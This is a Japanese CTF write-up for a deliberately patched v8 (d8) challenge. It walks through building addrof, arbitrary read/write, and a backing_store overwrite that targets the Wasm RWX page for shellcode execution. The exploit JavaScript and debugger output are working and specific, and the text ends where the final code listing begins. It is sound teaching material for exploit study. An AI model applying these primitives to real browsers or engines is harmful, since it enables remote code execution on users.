これは何? §

最近CTFで出題されているのか知らないが、いわゆるBrowser Exploitの特にJS Engine(今回はv8)を攻撃するものに入門し、初めて問題を解いた(正確には既存のWriteupをなぞった)のでWriteupを書く。

Pwnをある程度やったことがある人間1なら、JS Engine特有の初見殺し等に引っかかって自力で解くのは難しくても、何をやっているかはなんとなくわかるような問題だったので、そのような人が入門するきっかけとなれば(そして、それをきっかけにして難しい問題を解く人とWriteupが増えれば)幸いである。

方針 §

問題のWriteup本体に入る前にこの手のJS Engineに対するエクスプロイトのイメージを掴むために、典型的な手法の流れを説明する。

まず、脆弱性を利用して"addrof"と"fakeobj"と呼ばれる2つのプリミティブを構成する。前者はオブジェクトを与えるとそのアドレスを返すプリミティブであり、後者はアドレスを与えると何らかのオブジェクトを返すプリミティブになる。

続いて、これらのプリミティブを上手く使ってAARとAAWを行うプリミティブを構成する。

これで通常のUserland問題と同様に、ROPチェーンを書き込んだり、関数ポインタを書き換えたりしてシェルを取っても良いが、Wasmのインスタンスが作られる際にRWXページが出来るので、そこのアドレスをリークしてシェルコードを書き込みジャンプするという手法も用いられている。

今回の問題はこの手の問題にしては割と単純で次のような流れになる。

  1. addrofプリミティブを構成 (fakeobjは今回不要)
  2. Wasmのインスタンスを作成
  3. addrofでWasmのインスタンスのアドレスをリーク
  4. リークしたアドレスに固定のオフセットを足した箇所に、RWXページを指すポインタがあるのでAARプリミティブで取得
  5. AAWでRWXページにシェルコードを書き込む
  6. Wasmで書かれたコードを実行し、書き込まれたシェルコードが実行される

Writeup §

JS Engineの問題は、処理系のコミットを指定した上で脆弱性を意図的に作り込むようなパッチが配布され、それに対してPwnせよという形式が多く、この問題でもパッチが配布されている。

通常であれば、リポジトリをcloneしてからコミットハッシュにチェックアウトし、パッチを当ててビルドすることになるのだが、この問題はパッチの他にビルド済みのd8(開発者用のv8シェル)も配布されており、パッチを当ててビルドせずとも、このd8だけで解けるようになっている2

また、脆弱な処理系が組み込まれたブラウザをPwnする問題もあるが、この問題は次のPythonスクリプトによってこちらから送り込んだJavaScriptをd8の引数として渡して実行しており、v8だけをpwnする問題となっている。

#!/usr/bin/env python3
import os
import sys
import subprocess
import tempfile

MAX_SIZE = 100 * 1024

script_size = int(input("Enter the size of your exploit script (in bytes, max 100KB): "))
assert script_size < MAX_SIZE
print("Minify your exploit script and paste it in: ")
contents = sys.stdin.read(script_size)

tmp = tempfile.mkdtemp(dir="/tmp", prefix=bytes.hex(os.urandom(8)))
index_path = os.path.join(tmp, "exploit.js")
with open(index_path, "w") as f:
    f.write(contents)

sys.stderr.write("New submission at {}\n".format(index_path))

subprocess.run(["/home/ctf/d8", index_path], stderr=sys.stdout)

# Cleanup
os.remove(index_path)
os.rmdir(tmp)

問題に関連するv8の仕様 §

ここから、v8内部におけるメモリの使い方の話に入っていくが、どのコミットでビルドするかでメモリレイアウトが変わってくる可能性があるため、解く際はこの記事も含めて文献を鵜呑みにせず、自分でデバッガを用いて値を覗いたり検証したりすることを推奨する。

この問題を解く上で関わってくるv8の仕様を幾つか説明する。対象は次の3つ。

  • d8
  • JSArrayの構造
  • v8が管理する領域内のポインタ表現

この問題で配布されているJSの処理系の名前はd8となっており、これはv8のドキュメントに次のように書かれているようにv8の開発用シェルである。

d8 is V8’s own developer shell.

Pwn的に嬉しいのは、--allow-natives-syntaxフラグを付与してd8を実行すると、デバッグ用の記法を使用出来るという点である。%DebugPrint(obj)という記法でオブジェクトを放り込むと、オブジェクトのアドレスや要素に関する情報が表示される。

$ ./d8 --allow-natives-syntax
V8 version 8.7.9
d8> let l = [1.1, 2.2, 3.3, 4.4, 5.5];
undefined
d8> %DebugPrint(l)
DebugPrint: 0x156508084a69: [JSArray]
 - map: 0x1565082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x15650820a555 <JSArray[0]>
 - elements: 0x156508084a39 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
 - length: 5
 - properties: 0x1565080426dd <FixedArray[0]> {
    0x156508044649: [String] in ReadOnlySpace: #length: 0x156508182159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x156508084a39 <FixedDoubleArray[5]> {
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4.4
           4: 5.5
 }
0x1565082438fd: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1565082438d5 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x156508182445 <Cell value= 1>
 - instance descriptors #1: 0x15650820abd9 <DescriptorArray[1]>
 - transitions #1: 0x15650820ac25 <TransitionArray[4]>Transition array #1:
     0x156508044f5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x156508243925 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x15650820a555 <JSArray[0]>
 - constructor: 0x15650820a429 <JSFunction Array (sfi = 0x15650818b399)>
 - dependent code: 0x1565080421e1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1.1, 2.2, 3.3, 4.4, 5.5]
d8> 

適当に配列を放り込んでみた結果がこの通りで、要素数のようなわかりやすい要素の他にも内部使用に関連していそうな値(特にポインタ)が表示される。

ところで、既にお気づきの方もいるかもしれないが、ここで表示されているポインタのような値はいずれも奇数であり、最下位ビットが立っている。これはそのままこのアドレスを指しているのではなく、最下位ビットを0としたアドレスを指している。

このプロセスにgdbでアタッチして配列lのアドレスとされている0x156508084a69付近を覗いてみる。前述の通り、ポインタは最下位ビットを0としたものを用いるのでgdbでアドレスを指定する際は単純に1を引く。

pwndbg> x/16gx 0x156508084a69-1
0x156508084a68: 0x080426dd082438fd      0x0000000a08084a39
0x156508084a78: 0xe1ead94608042545      0x7566280a00000adc
0x156508084a88: 0x29286e6f6974636e      0x20657375220a7b20
0x156508084a98: 0x3b22746369727473      0x6d2041202f2f0a0a
0x156508084aa8: 0x76696e752065726f      0x7473206c61737265
0x156508084ab8: 0x20796669676e6972      0x7075732074616874
0x156508084ac8: 0x6f6d207374726f70      0x7365707974206572
0x156508084ad8: 0x534a206e61687420      0x55202f2f0a2e4e4f
pwndbg> 

上の結果と照らし合わせると、ポインタが完全に一致している箇所は無いが、下位32bitだけを見ると0x156508084a68に入っている値は配列lのmapという要素の値である0x082438fdと一致する (上位32bitを見るとpropertiesに一致している)。続いて0x156508084a70に入っている値の下位32bitを見るとlのelementsという要素の値である0x08084a39と一致する(ちなみに、上位32bitはlengthを2倍した値になるらしい)。

これらのmapやelementsが何であるかは直後に述べるとして、重要になってくるのは64bitなのにも関わらず、メモリ上では上位32bit(特に16bit)が固定の値とみなされて実質下位32bitだけで管理されているということである。

v8ではJSのオブジェクトをのための領域 (v8 heapと呼ばれているのを見るが正式名称かは不明)が通常のheap領域とは別に確保されており、オブジェクトのポインタは基本的にここのどこかを指す。よって上位32bitは同一と見做すことが出来ることから、このような表現がされている。

これによって、エクスプロイトを書く上でリークしたオブジェクトが配置されているアドレスの正確性は32bit分しか無いが、他のオブジェクトでも同様の事情であるため、v8 heap中のオブジェクトのポインタに限れば読み書きの上で特に問題は生じない。一方、v8 heapの外側の値を書き換えたい際(特にWasmによって作られたRWX領域にシェルコードを書き込む場合)には一手間発生するが、これも実現可能である。

このポインタ圧縮に関する詳細はFaith氏の記事を参照のこと。

最後に、先程少しだけ登場したmapとelementsについて説明する。といっても今回重要になってくるのはelementsの方でmapに関してはエクスプロイトで使われることは無いため、ほとんど説明を加えない。mapを使ったエクスプロイトについては、*CTF 2019 - oob-v8 という非常に有名な問題が存在するため、それを解く際に詳しく触れる予定である。

mapはオブジェクトのプロパティのアクセス方法を決定するようなものでHidden Classと呼ばれている。各プロパティに対応するメモリ上のオフセットを定めており、同一の構造を持つオブジェクトは同一のmapを有している。したがって、あるオブジェクトのmapを別のオブジェクトのものに書き換えるとプロパティによるアクセス方法が変化し、それが原因でOOBのようなメモリバグが発生することも考えられる。

ひとまず日本語の文献として次の2つを参考にした

elementsは、プロパティを指定してアクセスされる要素の配列である。上記の例でelementsのアドレスとして表示されている0x156508084a39付近と内部の値の浮動小数点数による表現をgdbで見てみると次のようになる。

pwndbg> x/8gx 0x156508084a39-1
0x156508084a38: 0x0000000a08042a31      0x3ff199999999999a
0x156508084a48: 0x400199999999999a      0x400a666666666666
0x156508084a58: 0x401199999999999a      0x4016000000000000
0x156508084a68: 0x080426dd082438fd      0x0000000a08084a39
pwndbg> p/f 0x3ff199999999999a
$1 = 1.1000000000000001
pwndbg> p/f 0x400199999999999a
$2 = 2.2000000000000002
pwndbg> p/f 0x400a666666666666
$3 = 3.2999999999999998
pwndbg> 

これを見ると、elementsのアドレスより0x8だけ大きいところから、配列lで定義された浮動小数点数の配列が存在していることがわかる。よって、l[i]0x156508084a38 + 0x8 + 0x8 * iの値を浮動小数点数とみなして参照することになる。

もう1つの重要な事実として、この配列の直下がlのアドレスである0x156508084a68ということがある。つまり、l[l.length]に相当する箇所がこのアドレスになるため、OOBのバグといった何らかの手段3でこの参照が出来る場合にlのmapのアドレスを取得したり書き換えたりすることが出来る。同様にl[l.length+1]に相当する参照が出来る場合はelementsのアドレスを取得したり書き換えたりすることが出来る。

パッチ §

この問題で配布されているv8のパッチは次のようなものである。

diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
@@ -101,7 +101,14 @@ macro HandleFastSlice(
         // to be copied out. Therefore, re-check the length before calling
         // the appropriate fast path. See regress-785804.js
         if (SmiAbove(start + count, a.length)) goto Bailout;
-        return ExtractFastJSArray(context, a, start, count);
+        // return ExtractFastJSArray(context, a, start, count);
+        // Instead of doing it the usual way, I've found out that returning it
+        // the following way gives us a 10x speedup!
+        const array: JSArray = ExtractFastJSArray(context, a, start, count);
+        const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+            otherwise Bailout;
+        array.ChangeLength(newLength);
+        return array;
       }
       case (a: JSStrictArgumentsObject): {
         goto HandleSimpleArgumentsSlice(a);
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 26ccb62c68..8114a861cc 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1342,9 +1342,12 @@ MaybeLocal<Context> Shell::CreateRealm(
     }
     delete[] old_realms;
   }
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+  // Remove globals
+  //Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   Local<Context> context =
-      Context::New(isolate, nullptr, global_template, global_object);
+      //Context::New(isolate, nullptr, global_template, global_object);
+      Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+                   v8::MaybeLocal<Value>());
   DCHECK(!try_catch.HasCaught());
   if (context.IsEmpty()) return MaybeLocal<Context>();
   InitializeModuleEmbedderData(context);
@@ -2285,10 +2288,13 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
+  // Prevent `import("stuff")`
+  /*
   isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
       Shell::HostInitializeImportMetaObject);
+  */
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
@@ -2316,9 +2322,11 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
   // This needs to be a critical section since this is not thread-safe
   base::MutexGuard lock_guard(context_mutex_.Pointer());
   // Initialize the global objects
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+  //Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local<Context> context = Context::New(isolate, nullptr, global_template);
+  //Local<Context> context = Context::New(isolate, nullptr, global_template);
+  Local<Context> context = Context::New(isolate, nullptr,
+                                        ObjectTemplate::New(isolate));
   DCHECK(!context.IsEmpty());
   if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
     isolate->SetWasmLoadSourceMapCallback(ReadFile);
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index a4d4b9d356..7e2738b96e 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -26,6 +26,10 @@ macro CreateArrayIterator(implicit context: NativeContext)(
 }
 
 extern class JSArray extends JSObject {
+  macro ChangeLength(newLength: Smi) {
+    this.length = newLength;
+  }
+  
   macro IsEmpty(): bool {
     return this.length == 0;
   }

おそらく本質となっているのは一番上の箇所で、ファイル名も含めてGuessするとsliceメソッドによってシャローコピーで新しい配列を作った際にlengthを2だけ増やすというものである。実際にこれをd8のシェル上で確かめてみる。

$ ./d8
V8 version 8.7.9
d8> let l1 = [1.1];
undefined
d8> let l2 = l1.slice(0);
undefined
d8> l2.length
3
d8> l1.length
1
d8> l2
[1.1, , ]
d8> l1
[1.1]
d8> 

通常の配列l1のスライスl2を作ったところ、lengthが2だけ増えた3になっていることが確認出来る。これによってl2はメモリ上で1.1に続く要素を2つ分参照できることになり、先に述べたようにそれらはmapとelementsを指すポインタに対応する。これでこれらのアドレスリークが実現出来たことになるのだが、型がfloat64の値として得られるため、ポインタとして扱ってオフセットの加算等をするには、符号なしの整数に変換する必要がある。

このためにArrayBufferを使って次のようなfloat64とBigUint64を相互に変換する関数を定義した。

let buf = new ArrayBuffer(8);
let float_buf = new Float64Array(buf);
let uint_buf = new BigUint64Array(buf);

function f2i(v) {
    float_buf[0] = v;
    return uint_buf[0];
}

function i2f(v) {
    uint_buf[0] = v;
    return float_buf[0];
}

d8では、--shellオプションを付けてスクリプトを実行することで、実行後のコンテキストでREPLを起動出来るのでこれらの関数を定義したファイルを実行して動作を確認してみる。

$ ./d8 --shell --allow-natives-syntax utils.js
V8 version 8.7.9
d8> let l1 = [1.1, 2.2]
undefined
d8> let l2 = l1.slice(0)
undefined
d8> let l_map = l2[2]
undefined
d8> let l_elm = l2[3]
undefined
d8> console.log("0x" + f2i(l_map).toString(16))
0x80426dd082438fd
d8> console.log("0x" + f2i(l_elm).toString(16))
0x808086339
undefined
d8> %DebugPrint(l2)   
DebugPrint: 0x3af708086351: [JSArray]
 - map: 0x3af7082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3af70820a555 <JSArray[0]>
 - elements: 0x3af708086339 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x3af7080426dd <FixedArray[0]> {
    0x3af708044649: [String] in ReadOnlySpace: #length: 0x3af708182159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x3af708086339 <FixedDoubleArray[2]> {
           0: 1.1
           1: 2.2
 }
0x3af7082438fd: [Map]
... (略)

d8> 

l_mapは上位32bitにpropertiesが、下位32bitにmapのポインタが入っており。l_elmは上位32bitにlengthの2倍の値が、下位32bitにelementsのポインタが入っていることがわかる。gdbでも確認すると次のように(0-indexedで)2番目と3番目の要素が取得出来たことがわかる。

pwndbg> x/8gx 0x3af708086339-1
0x3af708086338: 0x0000000408042a31      0x3ff199999999999a
0x3af708086348: 0x400199999999999a      0x080426dd082438fd
0x3af708086358: 0x0000000808086339      0x0eeab75608042545
0x3af708086368: 0x2074656c00000011      0x203d2070616d5f6c
pwndbg> 

addrof §

スライスの生成によってmapとelementsのポインタの取得と書き換えが出来るようになったことから、これを利用してaddrofプリミティブを実現する。色々方法は考えられるが、今回はfloat64の配列のelementsをオブジェクトの配列のものに書き換えてfloat64配列の参照時にこれらのポインタを浮動小数点として取得する方針を用いる。

このために、オブジェクトの配列のelementsへのポインタをリークさせる必要があるが、float64の配列であれば、length+1に相当する部分の値を浮動小数点数の形で参照出来るのに対して、オブジェクトの配列の場合はオブジェクトとして参照するためこの方法でアドレスをリークさせることは出来ない。そこで、配列を生成した際のメモリ確保アルゴリズムがおそらく決定的であることを利用して、float64に関連するアドレスから固定のオフセットを足してリークする。

DebugPrintを利用してfloat64の配列とオブジェクトの配列のアドレスを見てみる。使用した配列は次のように定義している。

let float_arr = [1.1];
let obj_arr = [{A:1}];

float_arr = float_arr.slice(0);
obj_arr = obj_arr.slice(0);

ここで、このコードを通常シェルで実行する場合と、スクリプトによる実行でメモリの様子が異なったので、エクスプロイトコードを書くことを想定して後者の場合の例を載せる。

d8> %DebugPrint(obj_arr)
DebugPrint: 0x32e808084d2d: [JSArray]
 - map: 0x32e80824394d <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x32e80820a555 <JSArray[0]>
 - elements: 0x32e808084d21 <FixedArray[1]> [PACKED_ELEMENTS]
 ...
d8> %DebugPrint(float_arr)
DebugPrint: 0x32e808084d11: [JSArray]
 - map: 0x32e8082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x32e80820a555 <JSArray[0]>
 - elements: 0x32e808084d01 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 ...

それぞれのelementsの値を比較すると0x20の差があることがわかる。float_arrのelementsは前述の通り取得出来るのでそれに0x20を足せばobj_arrのelementsのアドレスが判明する。

float_arrのelementsはfloat_arr[length+1]に値を代入することで書き換えられるため、リークしたこのアドレスを入れて同一のelementsを指すようにする。

この状態でobj_arr[0]にオブジェクトを入れると、メモリ上ではポインタが入るが、float_arrも同じelementsを共有しているため、こちらでの参照はこのオブジェクトのポインタを浮動小数点数に変換した値として得られる。これでオブジェクトを渡すとそのアドレスが得られるaddrofプリミティブが実現出来る。

以下は、v8 heapにおけるポインターの圧縮を考慮したaddrofを実現するコードである。

let float_arr = [1.1];
let obj_arr = [{A:1}];

float_arr = float_arr.slice(0);
obj_arr = obj_arr.slice(0);

// pElements of float_arr = pElements of obj_arr
let obj_elm = f2i(float_arr[2]) + 0x20n; // from DebugPrint and gdb
float_arr[2] = i2f(obj_elm);

function addrof(o) {
    obj_arr[0] = o;
    return f2i(float_arr[0]) & 0xffffffffn;  // note: ptr is compressed in v8 heap
}

実際にこれが機能することを確認する。

先にfloat_arrobj_arrでelementsが一致することを確認する。

d8> %DebugPrint(float_arr)
DebugPrint: 0x362208084ea1: [JSArray]
 - map: 0x3622082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x36220820a555 <JSArray[0]>
 - elements: 0x362208084eb1 <FixedArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 ... (略)
d8> %DebugPrint(obj_arr)
DebugPrint: 0x362208084ebd: [JSArray]
 - map: 0x36220824394d <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x36220820a555 <JSArray[0]>
 - elements: 0x362208084eb1 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 3
 ... (略)

この状態でo = {X:1}というオブジェクトのアドレス(の下位32bit)をaddrofで取得して、DebugPrintで確認すると一致していることがわかる。

d8> let o = {X:1}
undefined
d8> console.log("0x" + addrof(o).toString(16))
0x80869ed
undefined
d8> %DebugPrint(o)
DebugPrint: 0x3622080869ed: [JS_OBJECT_TYPE]
... (略)

v8 heap中のAAR/AAW §

これまで扱ってきた仕様により、float64の配列はメモリ上でelementsが指す部分から0x8足した部分を64bit浮動小数点数の配列とみなして参照していることがわかった。したがって、float64の配列のelementsに何らかのアドレスを設定することで、そのアドレス+0x8の位置にある数値を読み書き出来ることになる。

前述の通り、配列のelementsに対する読み書きがlength+1の部分を参照することで出来ることを示したことから、同じようにして次のような関数で実現出来る。

// AAR
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8)
function aar(addr) {
    addr -= 8n;
    // compress ptr
    if (addr % 2n == 0) {
        addr += 1n
    }

    // write elements of tmp_float_arr
    let tmp_float_arr = [1.1];
    tmp_float_arr = tmp_float_arr.slice(0);
    // save length of tmp_float_arr
    let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n;
    tmp_float_arr[2] = i2f(addr + l);

    return f2i(tmp_float_arr[0]);
}

// AAW
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8)
function aaw(addr, v) {
    addr -= 8n;
    // compress ptr
    if (addr % 2n == 0) {
        addr += 1n
    }

    // write elements of tmp_float_arr
    let tmp_float_arr = [1.1];
    tmp_float_arr = tmp_float_arr.slice(0);
    // save length of tmp_float_arr
    let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n;
    tmp_float_arr[2] = i2f(addr + l);

    tmp_float_arr[0] = i2f(v);
}

注意点として、アドレスの最下位bitが立っていることを考慮してアドレスを設定する必要があることと、上位32bitが配列の長さとなっているため、ここを小さい値にしてしまうと参照出来なくなることがある。

RWXページの取得 §

AARやAAWが実現出来たため、これらを利用して任意コード実行に持ち込みたい。ROPや関数ポインタの書き換え等が考えられるが、ここではv8のようなJS engineで使える手法としてWasmのインスタンスを生成した際に確保されるRWX領域にシェルコードを書いて実行する手法を用いる。

$ ./d8 --allow-natives-syntax
V8 version 8.7.9
d8>  let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
undefined
d8> let wasm_mod = new WebAssembly.Module(wasm_code);
undefined
d8> let wasm_instance = new WebAssembly.Instance(wasm_mod);
undefined
d8> %DebugPrint(wasm_instance)
DebugPrint: 0x2c8e08211e8d: [WasmInstanceObject] in OldSpace
... (略)

これを実行した時のメモリマップを確認すると次のようになっている。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x2c8e00000000     0x2c8e0000c000 rw-p     c000      0 [anon_2c8e00000]
    0x2c8e0000c000     0x2c8e00040000 ---p    34000      0 [anon_2c8e0000c]
    0x2c8e00040000     0x2c8e00043000 rw-p     3000      0 [anon_2c8e00040]
    0x2c8e00043000     0x2c8e00044000 ---p     1000      0 [anon_2c8e00043]
    0x2c8e00044000     0x2c8e00054000 r-xp    10000      0 [anon_2c8e00044]
    0x2c8e00054000     0x2c8e0007f000 ---p    2b000      0 [anon_2c8e00054]
    0x2c8e0007f000     0x2c8e00080000 ---p     1000      0 [anon_2c8e0007f]
    0x2c8e00080000     0x2c8e00083000 rw-p     3000      0 [anon_2c8e00080]
    0x2c8e00083000     0x2c8e00084000 ---p     1000      0 [anon_2c8e00083]
    0x2c8e00084000     0x2c8e000bf000 r-xp    3b000      0 [anon_2c8e00084]
    0x2c8e000bf000     0x2c8e08040000 ---p  7f81000      0 [anon_2c8e000bf]
    0x2c8e08040000     0x2c8e0805f000 r--p    1f000      0 [anon_2c8e08040]
    0x2c8e0805f000     0x2c8e08080000 ---p    21000      0 [anon_2c8e0805f]
    0x2c8e08080000     0x2c8e0818d000 rw-p   10d000      0 [anon_2c8e08080]
    0x2c8e0818d000     0x2c8e081c0000 ---p    33000      0 [anon_2c8e0818d]
    0x2c8e081c0000     0x2c8e081c3000 rw-p     3000      0 [anon_2c8e081c0]
    0x2c8e081c3000     0x2c8e08200000 ---p    3d000      0 [anon_2c8e081c3]
    0x2c8e08200000     0x2c8e08280000 rw-p    80000      0 [anon_2c8e08200]
    0x2c8e08280000     0x2c8f00000000 ---p f7d80000      0 [anon_2c8e08280]
    0x33da7732e000     0x33da7732f000 rwxp     1000      0 [anon_33da7732e]
    ... (略)

0x33da7732e000からRWXな領域が確保されていることがわかる。続いてWasmのインスタンスの配置先である0x2c8e08211e8dを見てみると次のようになっている。

pwndbg> x/16gx 0x2c8e08211e8d-1
0x2c8e08211e8c: 0x080426dd08245275      0xf8000000080426dd
0x2c8e08211e9c: 0x0001000000007f73      0x0000ffff00000000
0x2c8e08211eac: 0x0000004800000000      0x080426dd00002c8e
0x2c8e08211ebc: 0x0000559f6dcf25d0      0x00000000080426dd
0x2c8e08211ecc: 0x0000000000000000      0x0000000000000000
0x2c8e08211edc: 0x0000000000000000      0x0000559f6dd04940
0x2c8e08211eec: 0x00002c8e00000000      0x000033da7732e000
0x2c8e08211efc: 0x080866e108086501      0x08211e750820221d
pwndbg> 

0x68だけ足した0x2c8e08211ef4にこのRWX領域を指すポインタがあることがわかる。

既にaddrofが実現出来ているので、インスタンスの配置箇所をaddrof(wasm_instance)で取得し、固定オフセットの0x68を足せばRWX領域を指すポインタのアドレスが判明する。というわけで、AARでここの値を読んでAAWでシェルコードを流し込んでから実行すればシェルコードが実行されるはずなのだが、上で説明したAAWはポインタが圧縮されていることからv8 heap内に限ったものであり、その外側にあるこのRWX領域に対しては通用しない。

AAW §

もし、v8 heapの外側を指すポインタを有する何らかのオブジェクトのポインタを書き換えることができれば、そのオブジェクトを通じて読み書きが出来る可能性が出てくる。流れとしては、そのようなオブジェクトのアドレスをaddrofで特定してから、v8 heapの外側を指すポインタに相当する位置までの固定オフセットを足し、AAWで別のポインタへ書き換えればそのオブジェクトが操作するメモリは別の箇所となる。

そのような都合の良いオブジェクトとして、Float64とBigUint64の変換でも使ったArrayBufferを用いる。また、ArrayBufferを直接読み書きすることはなく、Float64ArrayのようなTypedArrayDataViewを通じて読み書きする。実際にArrayBufferに対して読み書きをしている様子は次の通り。

$ ./d8 --allow-natives-syntax
V8 version 8.7.9
d8> let buf = new ArrayBuffer(0x100)
undefined
d8> let dv = new DataView(buf)
undefined
d8> dv.setBigUint64(0, 0xdeadbeefcafebaben, true)
undefined
d8> %DebugPrint(buf)
DebugPrint: 0x250608084a31: [JSArrayBuffer]
 - map: 0x25060824317d <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x250608208ba9 <Object map = 0x2506082431a5>
 - elements: 0x2506080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x561a45699810
 - byte_length: 256
 ... (略)

backing_storeがbufの実体バイトが入っているアドレスで実際にここを見てみると、setBigUint64で入れた0xdeadbeefcafebabeが確認できる。

pwndbg> x/8gx 0x561a45699810
0x561a45699810: 0xdeadbeefcafebabe      0x0000000000000000
0x561a45699820: 0x0000000000000000      0x0000000000000000
0x561a45699830: 0x0000000000000000      0x0000000000000000
0x561a45699840: 0x0000000000000000      0x0000000000000000
pwndbg> 

後は、bufにおけるbacking_storeの固定オフセットを求める。DebugPrintで判明したbufのアドレス付近でbacking_storeをデバッガで探す。

pwndbg> x/16gx 0x250608084a31-1
0x250608084a30: 0x080426dd0824317d      0x00000100080426dd
0x250608084a40: 0x4569981000000000      0x456999500000561a
0x250608084a50: 0x000000020000561a      0x0000000000000000
0x250608084a60: 0x0000000000000000      0x9d17854a08042545
0x250608084a70: 0x7566280a00000adc      0x29286e6f6974636e
0x250608084a80: 0x20657375220a7b20      0x3b22746369727473
0x250608084a90: 0x6d2041202f2f0a0a      0x76696e752065726f
0x250608084aa0: 0x7473206c61737265      0x20796669676e6972
pwndbg> search -8 0x561a45699810
Searching for value: b'\x10\x98iE\x1aV\x00\x00'
[anon_250608080] 0x250608084a44 0x561a45699810
[anon_250608080] 0x250608086164 0x561a45699810
[heap]   

オブジェクト中の数値が全て64bitではなく目視で見つけるのが面倒なことから、searchコマンドで探すと0x250608084a44にこの値が確認できる(他にも見つかるが、色々実験してみると当たりはここであることがわかった)。これはbufの配置アドレスから0x14を足した箇所なのでaddrof(buf) + 0x14をAAWで書き換えれば、bufを内包するDataViewのdvは書き換えたポインタが指す先に対して読み書きをするようになる。

これを実現するためのコードは次のようになる(RWX領域のアドレスを書き換え先として設定するまでのコード)。

let aaw_buf = new ArrayBuffer(0x400);
let dv = new DataView(aaw_buf);
let backing_store_addr = addrof(aaw_buf) + 0x14n;

function set_address_aaw_outside(addr) {
    aaw(backing_store_addr, addr);
}

let wasm_addr = addrof(wasm_instance);
let rwx_addr = aar(wasm_addr + 0x68n)

set_address_aaw_outside(rwx_addr)

この時のaaw_bufのbacking_storeを確認すると0xdadc7fc3000となっている。

d8> %DebugPrint(aaw_buf)
DebugPrint: 0x20fc080860dd: [JSArrayBuffer]
 - map: 0x20fc0824317d <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x20fc08208ba9 <Object map = 0x20fc082431a5>
 - elements: 0x20fc080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0xdadc7fc3000
 - byte_length: 1024

vmmapコマンドで権限を確認するとrwxとなっており、確かにWasmで生成された領域へのポインタがbacking_storeに書き込まれことがわかる。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
     0xdadc7fc3000      0xdadc7fc4000 rwxp     1000      0 [anon_dadc7fc3]
    0x20fc00000000     0x20fc0000c000 rw-p     c000      0 [anon_20fc00000]
    0x20fc0000c000     0x20fc00040000 ---p    34000      0 [anon_20fc0000c]
    ... (略)

Exploit §

以上で各プリミティブが揃ったので組み合わせて任意コード実行を実現する。具体的な流れは次のようになる。

  1. addrofでWasmのインスタンスのアドレスを特定する
  2. 特定したアドレスに固定オフセットの0x68を足した箇所をAARで読んでRWX領域のアドレスを特定する
  3. v8 heapの外側へのAAWを行うために、ArrayBufferのbacking_storeをv8 heap内におけるAAWでRWX領域のアドレスに書き換える
  4. backing_storeを書き換えたArrayBufferに対してDataView等を用いてシェルコードを書き込む
  5. Wasmのコードを実行する

Code §

// utility functions

// convert float64 <-> uint64
let buf = new ArrayBuffer(8);
let float_buf = new Float64Array(buf);
let uint_buf = new BigUint64Array(buf);

